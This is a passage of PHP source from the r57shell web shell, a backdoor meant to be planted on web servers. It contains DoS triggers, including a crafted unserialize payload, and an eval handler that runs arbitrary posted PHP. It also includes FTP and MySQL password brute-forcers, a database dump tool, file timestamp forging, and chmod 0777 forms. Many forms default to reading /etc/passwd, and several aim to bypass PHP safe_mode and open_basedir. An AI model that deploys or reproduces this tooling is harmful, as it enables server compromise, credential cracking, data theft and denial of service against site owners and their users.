  2494.  echo "Msg not sent because $msg_err\n";
  2495.  if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
  2496.  echo "$msg\n";
  2497.  } else { echo "Received $msg_error fetching message\n"; break; }
  2498.  @msg_remove_queue ($msg_id);
  2499.  break;
  2500.  case 'dos19':
  2501.  $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
  2502.  break;
  2503.  case 'dos20':
  2504.  $hashtable = str_repeat("A", 39);
  2505.  $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
  2506.  $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
  2507.  $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
  2508.  for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
  2509.  $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
  2510.  @unserialize($str);
  2511.  break;
  2512. }
  2513.  
  2514. if ($_POST['cmd']=="php_eval"){
  2515.  $eval = @str_replace("<?","",$_POST['php_eval']);
  2516.  $eval = @str_replace("?>","",$eval);
  2517.  @eval($eval);}
  2518.  
  2519. if ($_POST['cmd']=="ftp_brute")
  2520.  {
  2521.  $suc = 0;
  2522.  if($_POST['brute_method']=='passwd'){
  2523.  foreach($users as $user)
  2524.   {
  2525.     $connection = @ftp_connect($ftp_server,$ftp_port,10);
  2526.     if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  2527.     else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  2528.     @ftp_close($connection);
  2529.   }
  2530.  }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
  2531.   foreach($users as $user)
  2532.   {
  2533.     $connection = @ftp_connect($ftp_server,$ftp_port,10);
  2534.     if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
  2535.     @ftp_close($connection);
  2536.   }
  2537.  }
  2538.  echo "\r\n-------------------------------------\r\n";
  2539.  $count = count($users);
  2540.  if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
  2541.  echo $lang[$language.'_text97'].$count."\r\n";
  2542.  echo $lang[$language.'_text98'].$suc."\r\n";
  2543.  }
  2544.  
  2545. if ($_POST['cmd']=="db_brute")
  2546.  {
  2547.  $suc = 0;
  2548.  if($_POST['brute_method']=='passwd'){
  2549.  foreach($users as $user)
  2550.   {
  2551.    $sql = new my_sql();
  2552.    $sql->db   = $_POST['db'];
  2553.    $sql->host = $_POST['db_server'];
  2554.    $sql->port = $_POST['db_port'];
  2555.    $sql->user = $user;
  2556.    $sql->pass = $user;
  2557.    if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
  2558.   }
  2559.  if(isset($_POST['reverse']))
  2560.   {
  2561.    foreach($users as $user)
  2562.     {
  2563.      $sql = new my_sql();
  2564.      $sql->db   = $_POST['db'];
  2565.      $sql->host = $_POST['db_server'];
  2566.      $sql->port = $_POST['db_port'];
  2567.      $sql->user = $user;
  2568.      $sql->pass = strrev($user);
  2569.      if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
  2570.     }
  2571.   }
  2572.  }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
  2573.   foreach($users as $user)
  2574.   {
  2575.    $sql = new my_sql();
  2576.    $sql->db   = $_POST['db'];
  2577.    $sql->host = $_POST['db_server'];
  2578.    $sql->port = $_POST['db_port'];
  2579.    $sql->user = $_POST['mysql_l'];
  2580.    $sql->pass = $user;
  2581.    if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
  2582.   }
  2583.  }
  2584.  echo "\r\n-------------------------------------\r\n";
  2585.  $count = count($users);
  2586.  if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
  2587.  echo $lang[$language.'_text97'].$count."\r\n";
  2588.  echo $lang[$language.'_text98'].$suc."\r\n";
  2589.  }
  2590.  
  2591. if ($_POST['cmd']=="mysql_dump")
  2592.  {
  2593.   if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  2594.   $sql = new my_sql();
  2595.   $sql->db   = $_POST['db'];
  2596.   $sql->host = $_POST['db_server'];
  2597.   $sql->port = $_POST['db_port'];
  2598.   $sql->user = $_POST['mysql_l'];
  2599.   $sql->pass = $_POST['mysql_p'];
  2600.   $sql->base = $_POST['mysql_db'];
  2601.   if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  2602.   else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  2603.   else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  2604.   else {
  2605.    if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
  2606.    else if($fp || @function_exists('file_put_contents')){ foreach($sql->dump as $v){ @fwrite($fp,$v."\r\n") or @fputs($fp,$v."\r\n") or @file_put_contents($_POST['dif_name'],$v."\r\n");} }
  2607.    else { echo "[-] ERROR! Can't write in dump file"; }
  2608.    }
  2609.  }
  2610.  
  2611. echo "</textarea></div>";
  2612. echo "</b>";
  2613. echo "</td></tr></table>";
  2614. echo "<table width=100% cellpadding=0 cellspacing=0>";
  2615.  
  2616. function div_title($title, $id)
  2617. {
  2618.   return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
  2619. }
  2620. function div($id)
  2621.  {
  2622.  if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
  2623.  $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38');
  2624.  if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
  2625.  return '<div id="'.$id.'">';
  2626.  }
  2627.  
  2628. if(!$safe_mode){
  2629. echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
  2630. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
  2631. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2632. echo $te.'</div>'.$table_end1.$fe;
  2633. }
  2634. else{
  2635. echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
  2636. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
  2637. echo $te.'</div>'.$table_end1.$fe;
  2638. }
  2639. echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
  2640. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
  2641. echo $te.'</div>'.$table_end1.$fe;
  2642.  
  2643. if($safe_mode || $open_basedir){
  2644. echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
  2645. echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
  2646. echo $te.'</div>'.$table_end1.$fe;
  2647. }
  2648.  
  2649. if($unix && @function_exists('touch')){
  2650. echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
  2651. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($dir."/r57shell.php")))
  2652. .ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
  2653. .ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
  2654. echo sr(15,"<b> or set  Day".$arrow."</b>",
  2655. '
  2656. <select name="day" size="1">
  2657. <option value="01">1</option>
  2658. <option value="02">2</option>
  2659. <option value="03">3</option>
  2660. <option value="04">4</option>
  2661. <option value="05">5</option>
  2662. <option value="06">6</option>
  2663. <option value="07">7</option>
  2664. <option value="08">8</option>
  2665. <option value="09">9</option>
  2666. <option value="10">10</option>
  2667. <option value="11">11</option>
  2668. <option value="12">12</option>
  2669. <option value="13">13</option>
  2670. <option value="14">14</option>
  2671. <option value="15">15</option>
  2672. <option value="16">16</option>
  2673. <option value="17">17</option>
  2674. <option value="18">18</option>
  2675. <option value="19">19</option>
  2676. <option value="20">20</option>
  2677. <option value="21">21</option>
  2678. <option value="22">22</option>
  2679. <option value="23">23</option>
  2680. <option value="24">24</option>
  2681. <option value="25">25</option>
  2682. <option value="26">26</option>
  2683. <option value="27">27</option>
  2684. <option value="28">28</option>
  2685. <option value="29">29</option>
  2686. <option value="30">30</option>
  2687. <option value="31">31</option>
  2688. </select>'
  2689. .ws(4)."<b>Month".$arrow."</b>"
  2690. .'
  2691. <select name="month" size="1">
  2692. <option value="January">January</option>
  2693. <option value="February">February</option>
  2694. <option value="March">March</option>
  2695. <option value="April">April</option>
  2696. <option value="May">May</option>
  2697. <option value="June">June</option>
  2698. <option value="July">July</option>
  2699. <option value="August">August</option>
  2700. <option value="September">September</option>
  2701. <option value="October">October</option>
  2702. <option value="November">November</option>
  2703. <option value="December">December</option>
  2704. </select>'
  2705. .ws(4)."<b>Year".$arrow."</b>"
  2706. .'
  2707. <select name="year" size="1">
  2708. <option value="1998">1998</option>
  2709. <option value="1999">1999</option>
  2710. <option value="2000">2000</option>
  2711. <option value="2001">2001</option>
  2712. <option value="2002">2002</option>
  2713. <option value="2003">2003</option>
  2714. <option value="2004">2004</option>
  2715. <option value="2005">2005</option>
  2716. <option value="2006">2006</option>
  2717. <option value="2006">2007</option>
  2718. <option value="2006">2008</option>
  2719. <option value="2006">2009</option>
  2720. <option value="2006">2010</option>
  2721. </select>'
  2722. .ws(4)."<b>Hour".$arrow."</b>"
  2723. .'
  2724. <select name="chasi" size="1">
  2725. <option value="01">01</option>
  2726. <option value="02">02</option>
  2727. <option value="03">03</option>
  2728. <option value="04">04</option>
  2729. <option value="05">05</option>
  2730. <option value="06">06</option>
  2731. <option value="07">07</option>
  2732. <option value="08">08</option>
  2733. <option value="09">09</option>
  2734. <option value="10">10</option>
  2735. <option value="11">11</option>
  2736. <option value="12">12</option>
  2737. <option value="13">13</option>
  2738. <option value="14">14</option>
  2739. <option value="15">15</option>
  2740. <option value="16">16</option>
  2741. <option value="17">17</option>
  2742. <option value="18">18</option>
  2743. <option value="19">19</option>
  2744. <option value="20">20</option>
  2745. <option value="21">21</option>
  2746. <option value="22">22</option>
  2747. <option value="23">23</option>
  2748. <option value="24">24</option>
  2749. </select>'
  2750. .ws(4)."<b>Minute".$arrow."</b>"
  2751. .'
  2752. <select name="minutes" size="1">
  2753. <option value="01">1</option>
  2754. <option value="02">2</option>
  2755. <option value="03">3</option>
  2756. <option value="04">4</option>
  2757. <option value="05">5</option>
  2758. <option value="06">6</option>
  2759. <option value="07">7</option>
  2760. <option value="08">8</option>
  2761. <option value="09">9</option>
  2762. <option value="10">10</option>
  2763. <option value="11">11</option>
  2764. <option value="12">12</option>
  2765. <option value="13">13</option>
  2766. <option value="14">14</option>
  2767. <option value="15">15</option>
  2768. <option value="16">16</option>
  2769. <option value="17">17</option>
  2770. <option value="18">18</option>
  2771. <option value="19">19</option>
  2772. <option value="20">20</option>
  2773. <option value="21">21</option>
  2774. <option value="22">22</option>
  2775. <option value="23">23</option>
  2776. <option value="24">24</option>
  2777. <option value="25">25</option>
  2778. <option value="26">26</option>
  2779. <option value="27">27</option>
  2780. <option value="28">28</option>
  2781. <option value="29">29</option>
  2782. <option value="30">30</option>
  2783. <option value="31">31</option>
  2784. <option value="32">32</option>
  2785. <option value="33">33</option>
  2786. <option value="34">34</option>
  2787. <option value="35">35</option>
  2788. <option value="36">36</option>
  2789. <option value="37">37</option>
  2790. <option value="38">38</option>
  2791. <option value="39">39</option>
  2792. <option value="40">40</option>
  2793. <option value="41">41</option>
  2794. <option value="42">42</option>
  2795. <option value="43">43</option>
  2796. <option value="44">44</option>
  2797. <option value="45">45</option>
  2798. <option value="46">46</option>
  2799. <option value="47">47</option>
  2800. <option value="48">48</option>
  2801. <option value="49">49</option>
  2802. <option value="50">50</option>
  2803. <option value="51">51</option>
  2804. <option value="52">52</option>
  2805. <option value="53">53</option>
  2806. <option value="54">54</option>
  2807. <option value="55">55</option>
  2808. <option value="56">56</option>
  2809. <option value="57">57</option>
  2810. <option value="58">58</option>
  2811. <option value="59">59</option>
  2812. </select>'
  2813. .ws(4)."<b>Second".$arrow."</b>"
  2814. .'
  2815. <select name="second" size="1">
  2816. <option value="01">1</option>
  2817. <option value="02">2</option>
  2818. <option value="03">3</option>
  2819. <option value="04">4</option>
  2820. <option value="05">5</option>
  2821. <option value="06">6</option>
  2822. <option value="07">7</option>
  2823. <option value="08">8</option>
  2824. <option value="09">9</option>
  2825. <option value="10">10</option>
  2826. <option value="11">11</option>
  2827. <option value="12">12</option>
  2828. <option value="13">13</option>
  2829. <option value="14">14</option>
  2830. <option value="15">15</option>
  2831. <option value="16">16</option>
  2832. <option value="17">17</option>
  2833. <option value="18">18</option>
  2834. <option value="19">19</option>
  2835. <option value="20">20</option>
  2836. <option value="21">21</option>
  2837. <option value="22">22</option>
  2838. <option value="23">23</option>
  2839. <option value="24">24</option>
  2840. <option value="25">25</option>
  2841. <option value="26">26</option>
  2842. <option value="27">27</option>
  2843. <option value="28">28</option>
  2844. <option value="29">29</option>
  2845. <option value="30">30</option>
  2846. <option value="31">31</option>
  2847. <option value="32">32</option>
  2848. <option value="33">33</option>
  2849. <option value="34">34</option>
  2850. <option value="35">35</option>
  2851. <option value="36">36</option>
  2852. <option value="37">37</option>
  2853. <option value="38">38</option>
  2854. <option value="39">39</option>
  2855. <option value="40">40</option>
  2856. <option value="41">41</option>
  2857. <option value="42">42</option>
  2858. <option value="43">43</option>
  2859. <option value="44">44</option>
  2860. <option value="45">45</option>
  2861. <option value="46">46</option>
  2862. <option value="47">47</option>
  2863. <option value="48">48</option>
  2864. <option value="49">49</option>
  2865. <option value="50">50</option>
  2866. <option value="51">51</option>
  2867. <option value="52">52</option>
  2868. <option value="53">53</option>
  2869. <option value="54">54</option>
  2870. <option value="55">55</option>
  2871. <option value="56">56</option>
  2872. <option value="57">57</option>
  2873. <option value="58">58</option>
  2874. <option value="59">59</option>
  2875. </select>'
  2876. .in('hidden','cmd',0,'touch')
  2877. .in('hidden','dir',0,$dir)
  2878. .ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2879. echo $te.'</div>'.$table_end1.$fe;
  2880. }
  2881.  
  2882. $select='';
  2883. if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
  2884. if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
  2885. if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
  2886. if($unix && $select){
  2887. echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
  2888. echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($dir."/r57shell.php"))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));  
  2889. echo $te.'</div>'.$table_end1.$fe;
  2890. }
  2891.  
  2892. if(!$safe_mode){
  2893. $aliases2 = '';
  2894. foreach ($aliases as $alias_name=>$alias_cmd)
  2895.  {
  2896.  $aliases2 .= "<option>$alias_name</option>";
  2897.  }
  2898. echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
  2899. echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2900. echo $te.'</div>'.$table_end1.$fe;
  2901. }
  2902.  
  2903. echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
  2904. echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2905. echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2906. echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
  2907. echo $te.'</div>'.$table_end1.$fe;
  2908.  
  2909. if(!$safe_mode && $unix){
  2910. echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
  2911. echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2912. echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2913. echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
  2914. echo $te.'</div>'.$table_end1.$fe;
  2915. }
  2916.  
  2917. echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
  2918. echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
  2919. echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
  2920. echo "</textarea>";
  2921. echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
  2922. echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
  2923. echo "</div></div></font>";
  2924. echo $table_end1.$fe;
  2925.  
  2926. if($safe_mode || $open_basedir)
  2927. {
  2928. echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
  2929. echo "<table class=table1 width=100% align=center>";
  2930. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2931. echo $te.'</div>'.$table_end1.$fe;
  2932. }
  2933.  
  2934. if(($safe_mode || $open_basedir) && $curl_on && @version_compare(@phpversion(),"5.2.0")<=0)
  2935. {
  2936. echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
  2937. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2938. echo $te.'</div>'.$table_end1.$fe;
  2939. }
  2940.  
  2941. if(($safe_mode || $open_basedir) && $mysql_on)
  2942. {
  2943. echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
  2944. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
  2945. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2946. echo $te.'</div>'.$table_end1.$fe;
  2947. }
  2948.  
  2949. if(($safe_mode || $open_basedir) && $mssql_on)
  2950. {
  2951. echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
  2952. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
  2953. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2954. echo $te.'</div>'.$table_end1.$fe;
  2955. }
  2956.  
  2957. if(($safe_mode || $open_basedir) && $unix && @function_exists('mb_send_mail') && @version_compare(@phpversion(),"5.2.0")<=0){
  2958. echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
  2959. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2960. echo $te.'</div>'.$table_end1.$fe;
  2961. }
  2962.  
  2963. if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_list') && @version_compare(@phpversion(),"5.2.0")<=0){
  2964. echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
  2965. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2966. echo $te.'</div>'.$table_end1.$fe;
  2967. }
  2968.  
  2969. if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_body') && @version_compare(@phpversion(),"5.2.0")<=0){
  2970. echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
  2971. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2972. echo $te.'</div>'.$table_end1.$fe;
  2973. }
  2974.  
  2975. if(($safe_mode || $open_basedir) && @function_exists('copy') && @version_compare(@phpversion(),"5.2.0")<=0)
  2976. {
  2977. echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
  2978. echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
  2979. echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2980. echo $te.'</div>'.$table_end1.$fe;  
  2981. }
  2982.  
  2983. if(($safe_mode || $open_basedir) && @function_exists('ini_restore') && @version_compare(@phpversion(),"5.2.0")<=0){
  2984. echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
  2985. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2986. echo $te.'</div>'.$table_end1.$fe;
  2987. }
  2988.  
  2989. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.0.0")<0){
  2990. echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
  2991. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2992. echo $te.'</div>'.$table_end1.$fe;
  2993. }
  2994.  
  2995. if(($safe_mode || $open_basedir) && @function_exists('glob') && @version_compare(@phpversion(),"5.2.2")<=0){
  2996. echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
  2997. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test18_file'])?($_POST['test18_file']):($dir))).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2998. echo $te.'</div>'.$table_end1.$fe;
  2999. }
  3000.  
  3001. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
  3002. {
  3003. echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
  3004. echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):("/tmp/test.zip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3005. echo $te.'</div>'.$table_end1.$fe;  
  3006. }
  3007.  
  3008. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
  3009. {
  3010. echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
  3011. echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):("/tmp/test.bzip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3012. echo $te.'</div>'.$table_end1.$fe;  
  3013. }
  3014.  
  3015. if(($safe_mode || $open_basedir) && @function_exists('error_log') && @version_compare(@phpversion(),"5.2.2")<=0)
  3016. {
  3017. echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
  3018. echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
  3019. echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3020. echo $te.'</div>'.$table_end1.$fe;  
  3021. }
  3022.  
  3023. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
  3024. {
  3025. echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
  3026. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
